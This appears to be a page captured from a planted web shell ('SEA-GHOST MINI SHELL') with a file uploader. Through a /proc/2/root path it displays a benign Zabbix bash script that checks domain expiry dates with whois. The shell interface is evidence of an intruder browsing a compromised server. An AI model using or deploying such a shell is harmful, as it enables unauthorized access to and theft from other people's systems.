[ SEA-GHOST MINI SHELL]

Path : /proc/2/cwd/proc/2/cwd/proc/2/cwd/proc/2/root/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/cwd/proc/2/cwd/proc/2/cwd/proc/2/root/var/lib/zabbix/domain_expire_apache.sh

#!/bin/bash
#For proper work of script need to create /etc/whois.conf file with content from
# https://gist.github.com/thde/3890aa48e03a2b551374
# Aditionaly add in it
#\.sydney$ whois.nic.sydney
#\.com$ whois.verisign-grs.com
#\.com.au$ whois.crazydomains.com
#\.ph$ whois.dot.ph
EXPIREDATE="$(whois $1 2>/dev/null | grep -E "Expiration Date:|Expiry Date:|Expiry date:" | awk -F ":" '{print $2}' | cut -d "T" -f 1)"
AMOUNTOFSYMBOLS="$( echo $EXPIREDATE | awk -F "-" '{print $3}' | wc -m)"
  if [ "$EXPIREDATE" == "" ]; then
    echo 0
  elif [ "$AMOUNTOFSYMBOLS" == 5 ]; then
    convert_date="$(echo $EXPIREDATE | sed -r 's/([0-9]{1,3})-([0-9]{1,3})-([0-9]{1,4})/\3-\2-\1/')"
    date=$(date -d "$convert_date" +%s)
    echo $date
  else date=$(date -d "$EXPIREDATE" +%s)
    echo $date
  fi

SEA-GHOST - SHELL CODING BY SEA-GHOST